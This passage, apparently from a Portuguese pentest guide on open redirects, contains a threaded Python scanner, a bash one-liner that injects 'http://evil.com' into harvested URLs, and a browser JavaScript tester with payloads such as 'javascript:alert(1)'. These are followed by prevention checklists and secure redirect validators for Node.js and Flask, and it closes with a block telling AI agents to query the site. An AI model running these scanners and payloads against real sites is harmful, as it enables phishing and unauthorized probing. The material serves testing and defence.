        """Executar scan completo"""
        print(f"Starting open redirect scan for {self.target}")
        
        payloads = self.generate_redirect_payloads()
        
        # Scan com threads para performance
        with ThreadPoolExecutor(max_workers=10) as executor:
            for param, payload in payloads:
                executor.submit(self.test_redirect_parameter, param, payload)
        
        # Testar endpoints comuns
        common_endpoints = ['/login', '/logout', '/redirect', '/goto', '/out']
        for endpoint in common_endpoints:
            self.test_post_redirects(endpoint)
        
        return self.vulnerabilities
    
    def generate_report(self):
        """Gerar relatório de vulnerabilidades"""
        return {
            'target': self.target,
            'vulnerabilities_found': len(self.vulnerabilities),
            'details': self.vulnerabilities,
            'recommendations': [
                "Implementar whitelist de URLs permitidas para redirecionamento",
                "Validar todos os parâmetros de redirecionamento no server-side",
                "Usar tokens seguros em vez de URLs diretas para redirecionamentos",
                "Implementar logging de tentativas de redirecionamento",
                "Configurar CSP header com form-action directive"
            ]
        }

# Uso
if __name__ == "__main__":
    scanner = OpenRedirectScanner('https://target.com')
    vulnerabilities = scanner.scan()
    report = scanner.generate_report()
    
    print(f"Scan completed. Found {len(vulnerabilities)} vulnerabilities.")
    for vuln in vulnerabilities:
        print(f"- {vuln['type']}: {vuln['parameter']}={vuln['payload']}")
```

#### **2. Ferramentas Especializadas**

```bash
# Nuclei Templates
nuclei -u https://target.com -t /path/to/open-redirect-templates

# Burp Suite Extensions
# - OpenRedirect Auditor
# - Param Miner

# Custom tools
python openredirex.py -l urls.txt -p payloads.txt
gau target.com | grep -E "(redirect|return|next|url)=" | qsreplace "http://evil.com" | while read url; do curl -s -I "$url" | grep -q "Location: http://evil.com" && echo "Vulnerable: $url"; done
```

### **Testes Manuais com Ferramentas de Desenvolvimento**

#### **1. Teste de Redirecionamento no Navegador**

```javascript
// Script para testar redirecionamentos no client-side
async function testRedirectVulnerabilities() {
    const testParams = ['redirect', 'return', 'next', 'url', 'target'];
    const testPayloads = [
        'https://google.com',
        '//google.com',
        'https://google.com@example.com',
        'javascript:alert(1)',
        'data:text/html,<h1>test</h1>'
    ];
    
    const results = [];
    
    for (const param of testParams) {
        for (const payload of testPayloads) {
            const testUrl = `${window.location.origin}?${param}=${encodeURIComponent(payload)}`;
            
            try {
                const response = await fetch(testUrl, {
                    method: 'GET',
                    redirect: 'manual'
                });
                
                let isVulnerable = false;
                let redirectLocation = '';
                
                if (response.status >= 300 && response.status < 400) {
                    redirectLocation = response.headers.get('Location') || '';
                    isVulnerable = payload.includes(redirectLocation) || 
                                  redirectLocation.includes('google.com');
                }
                
                results.push({
                    parameter: param,
                    payload: payload,
                    status: response.status,
                    location: redirectLocation,
                    vulnerable: isVulnerable,
                    url: testUrl
                });
                
            } catch (error) {
                results.push({
                    parameter: param,
                    payload: payload,
                    error: error.message,
                    url: testUrl
                });
            }
        }
    }
    
    return results;
}

// Executar testes
testRedirectVulnerabilities().then(results => {
    const vulnerable = results.filter(r => r.vulnerable);
    console.log(`Found ${vulnerable.length} potential vulnerabilities`);
    console.table(vulnerable);
});
```

#### **2. Análise de Comportamento de Redirecionamento**

```javascript
// Monitorar redirecionamentos em tempo real
const originalRedirect = window.location.replace;
window.location.replace = function(url) {
    console.log('Redirect attempted to:', url);
    // Aqui poderia validar a URL antes do redirecionamento
    return originalRedirect.call(this, url);
};

// Interceptar fetch com redirecionamentos
const originalFetch = window.fetch;
window.fetch = function(...args) {
    console.log('Fetch called:', args);
    return originalFetch.apply(this, args);
};

// Monitorar mudanças de URL
let currentUrl = window.location.href;
setInterval(() => {
    if (window.location.href !== currentUrl) {
        console.log('URL changed to:', window.location.href);
        currentUrl = window.location.href;
    }
}, 100);
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção de Open Redirects**

* [ ] **Validação de URLs de Redirecionamento**
  * [ ] Implementar whitelist de domínios permitidos
  * [ ] Validar URLs no server-side (não confiar no client-side)
  * [ ] Bloquear esquemas perigosos (javascript:, data:, vbscript:)
  * [ ] Validar URLs relativas contra path traversal
* [ ] **Controles de Segurança**
  * [ ] Usar tokens seguros em vez de URLs diretas
  * [ ] Implementar expiração para tokens de redirecionamento
  * [ ] Validar origem das requisições de redirecionamento
  * [ ] Limitar taxa de redirecionamentos por usuário
* [ ] **Configuração de Ambiente**
  * [ ] Configurar CSP headers com form-action directive
  * [ ] Implementar WAF rules para bloquear redirecionamentos maliciosos
  * [ ] Configurar headers de segurança (Referrer-Policy, etc.)
  * [ ] Validar configurações de reverse proxy/load balancer
* [ ] **Monitoramento e Resposta**
  * [ ] Logar todas as tentativas de redirecionamento
  * [ ] Monitorar padrões de redirecionamento anormais
  * [ ] Implementar alertas para múltiplas tentativas bloqueadas
  * [ ] Manter auditoria de redirecionamentos bem-sucedidos

### **Checklist de Auditoria**

* [ ] **Teste de Parâmetros de Redirecionamento**
  * [ ] Testar todos os parâmetros comuns (redirect, return, next, url)
  * [ ] Verificar diferentes métodos HTTP (GET, POST, etc.)
  * [ ] Testar encoding e double encoding
  * [ ] Verificar bypass de validações com técnicas avançadas
* [ ] **Teste de Fluxos de Aplicação**
  * [ ] Testar redirecionamentos pós-login
  * [ ] Verificar fluxos de OAuth/SSO
  * [ ] Testar redirecionamentos em logout
  * [ ] Verificar páginas de erro com redirecionamento
* [ ] **Análise de Código**
  * [ ] Revisar implementações de redirecionamento
  * [ ] Verificar validações no client-side vs server-side
  * [ ] Analisar tratamento de URLs de terceiros
  * [ ] Verificar configurações de headers de segurança

### **Checklist de Resposta a Incidentes**

* [ ] **Detecção**
  * [ ] Monitorar logs por padrões de redirecionamento suspeitos
  * [ ] Alertar para redirecionamentos para domínios não whitelistados
  * [ ] Detectar múltiplas tentativas de redirecionamento em curto período
  * [ ] Monitorar tráfego para domínios de phishing conhecidos
* [ ] **Contenção**
  * [ ] Bloquear domínios maliciosos identificados
  * [ ] Revogar tokens de sessão comprometidos
  * [ ] Implementar regras WAF temporárias
  * [ ] Notificar usuários afetados
* [ ] **Correção**
  * [ ] Implementar validações adequadas de redirecionamento
  * [ ] Atualizar whitelist de domínios permitidos
  * [ ] Revisar e corrigir código vulnerável
  * [ ] Realizar reteste de vulnerabilidades

***

## 📊 **Exemplos de Implementação Segura**

### **Sistema de Redirecionamento Seguro em Node.js**

```javascript
// secure-redirect-system.js
const crypto = require('crypto');
const url = require('url');

class SecureRedirectSystem {
    constructor() {
        this.allowedDomains = new Set([
            'trusted-site.com',
            'www.trusted-site.com',
            'app.trusted-site.com'
        ]);
        
        this.redirectTokens = new Map();
        this.tokenTimeout = 15 * 60 * 1000; // 15 minutos
    }
    
    generateRedirectToken(targetUrl) {
        // Validar URL primeiro
        if (!this.isSafeRedirect(targetUrl)) {
            throw new Error('URL de redirecionamento não segura');
        }
        
        // Gerar token único
        const token = crypto.randomBytes(32).toString('hex');
        const expiresAt = Date.now() + this.tokenTimeout;
        
        // Armazenar token
        this.redirectTokens.set(token, {
            url: targetUrl,
            expiresAt: expiresAt
        });
        
        // Limpar tokens expirados periodicamente
        this.cleanupExpiredTokens();
        
        return token;
    }
    
    resolveRedirectToken(token) {
        const redirectData = this.redirectTokens.get(token);
        
        if (!redirectData) {
            throw new Error('Token de redirecionamento inválido');
        }
        
        // Verificar expiração
        if (Date.now() > redirectData.expiresAt) {
            this.redirectTokens.delete(token);
            throw new Error('Token de redirecionamento expirado');
        }
        
        // Limpar token usado
        this.redirectTokens.delete(token);
        
        return redirectData.url;
    }
    
    isSafeRedirect(redirectUrl) {
        if (!redirectUrl) return false;
        
        try {
            const parsed = url.parse(redirectUrl);
            
            // Bloquear esquemas perigosos
            const dangerousSchemes = ['javascript', 'data', 'vbscript', 'file'];
            if (parsed.protocol && dangerousSchemes.includes(parsed.protocol.slice(0, -1))) {
                return false;
            }
            
            // Para URLs absolutas
            if (parsed.hostname) {
                return this.allowedDomains.has(parsed.hostname);
            }
            
            // Para URLs relativas - verificar se é segura
            return this.isSafeRelativeUrl(redirectUrl);
            
        } catch (error) {
            return false;
        }
    }
    
    isSafeRelativeUrl(urlPath) {
        // Verificar path traversal e outros padrões perigosos
        const dangerousPatterns = [
            /\.\.\//, // Path traversal
            /\/\//,   // Double slash
            /\\/,     // Backslash
            /^\//     // Absolute path (pode ser permitido dependendo do caso)
        ];
        
        return !dangerousPatterns.some(pattern => pattern.test(urlPath));
    }
    
    cleanupExpiredTokens() {
        const now = Date.now();
        for (const [token, data] of this.redirectTokens.entries()) {
            if (now > data.expiresAt) {
                this.redirectTokens.delete(token);
            }
        }
    }
}

// Middleware Express
const redirectSystem = new SecureRedirectSystem();

function safeRedirectMiddleware(req, res, next) {
    // Interceptar parâmetros de redirecionamento
    const redirectParams = ['redirect', 'return', 'next', 'url'];
    
    for (const param of redirectParams) {
        if (req.query[param]) {
            try {
                const safeUrl = redirectSystem.generateRedirectToken(req.query[param]);
                // Substituir parâmetro por token seguro
                req.query[param] = safeUrl;
            } catch (error) {
                // Remover parâmetro inseguro
                delete req.query[param];
            }
        }
    }
    
    next();
}

// Uso nas rotas
app.use(safeRedirectMiddleware);

app.get('/login', (req, res) => {
    const returnUrl = req.query.return || '/dashboard';
    
    try {
        const safeUrl = redirectSystem.resolveRedirectToken(returnUrl);
        // Renderizar página de login com URL segura
        res.render('login', { returnUrl: safeUrl });
    } catch (error) {
        // Fallback para URL padrão
        res.render('login', { returnUrl: '/dashboard' });
    }
});

app.post('/auth/callback', (req, res) => {
    // Processar autenticação...
    const returnToken = req.body.returnUrl;
    
    try {
        const safeUrl = redirectSystem.resolveRedirectToken(returnToken);
        res.redirect(safeUrl);
    } catch (error) {
        res.redirect('/dashboard'); // Fallback seguro
    }
});
```

### **Sistema de Validação em Python/Flask**

```python
# secure_redirects.py
from urllib.parse import urlparse, urljoin
from flask import request, redirect, current_app
import re
import hmac
import hashlib
import time

class SecureRedirectValidator:
    def __init__(self, app=None):
        self.allowed_domains = set()
        self.allowed_schemes = {'http', 'https'}
        self.blocked_schemes = {'javascript', 'data', 'vbscript', 'file'}
        
        if app:
            self.init_app(app)
    
    def init_app(self, app):
        self.allowed_domains = set(app.config.get('ALLOWED_REDIRECT_DOMAINS', []))
        self.secret_key = app.config['SECRET_KEY']
    
    def is_safe_redirect(self, target_url, referrer=None):
        """Verificar se URL de redirecionamento é segura"""
        if not target_url:
            return False
        
        # URLs vazias ou apenas fragment
        if target_url in ('', '#'):
            return False
        
        try:
            parsed = urlparse(target_url)
            
            # Verificar scheme
            if parsed.scheme:
                if parsed.scheme.lower() in self.blocked_schemes:
                    return False
                if parsed.scheme.lower() not in self.allowed_schemes:
                    return False
            
            # Verificar hostname para URLs absolutas
            if parsed.netloc:
                # Normalizar hostname
                hostname = parsed.netloc.lower()
                
                # Remover porta
                if ':' in hostname:
                    hostname = hostname.split(':')[0]
                
                # Verificar contra whitelist
                if not any(self._domain_match(hostname, allowed) 
                          for allowed in self.allowed_domains):
                    return False
            
            # Verificar URLs relativas
            else:
                if not self._is_safe_relative_url(parsed.path):
                    return False
            
            return True
            
        except Exception:
            return False
    
    def _domain_match(self, hostname, allowed_domain):
        """Verificar se hostname corresponde ao domínio permitido"""
        if hostname == allowed_domain:
            return True
        if hostname.endswith('.' + allowed_domain):
            return True
        return False
    
    def _is_safe_relative_url(self, path):
        """Verificar se URL relativa é segura"""
        # Bloquear path traversal
        if '../' in path or '..\\' in path:
            return False
        
        # Bloquear protocol-relative
        if path.startswith('//'):
            return False
        
        # Padrão seguro para paths relativas
        safe_pattern = re.compile(r'^[a-zA-Z0-9\-._~%!$&\'()*+,;=:@/]*$')
        return bool(safe_pattern.match(path))
    
    def generate_secure_redirect(self, target_url, default_url='/'):
        """Gerar redirecionamento seguro"""
        if self.is_safe_redirect(target_url):
            return target_url
        else:
            return default_url
    
    def safe_redirect(self, target_url, default_url='/', code=302):
        """Redirecionamento seguro com fallback"""
        safe_url = self.generate_secure_redirect(target_url, default_url)
        return redirect(safe_url, code=code)

# Decorator para rotas com redirecionamento
def require_safe_redirect(param_name='next', default_url='/'):
    def decorator(f):
        from functools import wraps
        
        @wraps(f)
        def decorated_function(*args, **kwargs):
            redirect_url = request.args.get(param_name, default_url)
            validator = current_app.extensions['redirect_validator']
            
            # Adicionar URL segura ao contexto
            safe_url = validator.generate_secure_redirect(redirect_url, default_url)
            
            # Chamar função original com URL segura
            return f(*args, safe_redirect_url=safe_url, **kwargs)
        return decorated_function
    return decorator

# Inicialização
def init_secure_redirects(app):
    validator = SecureRedirectValidator()
    validator.init_app(app)
    app.extensions['redirect_validator'] = validator

# Uso
init_secure_redirects(app)

@app.route('/login')
@require_safe_redirect('next', '/dashboard')
def login(safe_redirect_url):
    # safe_redirect_url já foi validada
    return render_template('login.html', next_url=safe_redirect_url)

@app.route('/auth/verify')
def auth_verify():
    next_url = request.args.get('next', '/dashboard')
    validator = current_app.extensions['redirect_validator']
    return validator.safe_redirect(next_url, '/dashboard')
```

***

## ⚠️ **Considerações Finais**

### **Mitos Comuns sobre Open Redirects**

* ❌ "Open redirects não são perigosos" → **FALSO** (podem levar a phishing avançado)
* ❌ "Validação no frontend é suficiente" → **FALSO** (pode ser facilmente bypassed)
* ❌ "Só URLs absolutas são perigosas" → **FALSO** (URLs relativas podem ter path traversal)
* ❌ "CSP resolve open redirects" → **FALSO** (CSP ajuda mas não resolve completamente)

### **Boas Práticas Essenciais**

1. **Validação Rigorosa**: Sempre validar URLs no server-side
2. **Whitelist Preferível**: Usar whitelist em vez de blacklist
3. **Tokens Seguros**: Preferir tokens em vez de URLs diretas
4. **Defesa em Profundidade**: Múltiplas camadas de validação
5. **Monitoramento Contínuo**: Detectar e responder a tentativas de abuso

### **Referências e Padrões**

* OWASP Unvalidated Redirects and Forwards Cheat Sheet
* CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
* MITRE ATT\&CK - Phishing via Service
* NIST Cybersecurity Framework

**🔐 Lembre-se**: Open redirects podem parecer inofensivos, mas são frequentemente explorados em ataques de phishing avançados. Implemente validações rigorosas e monitore tentativas de abuso para proteger seus usuários.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/back-end/open-redirects.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
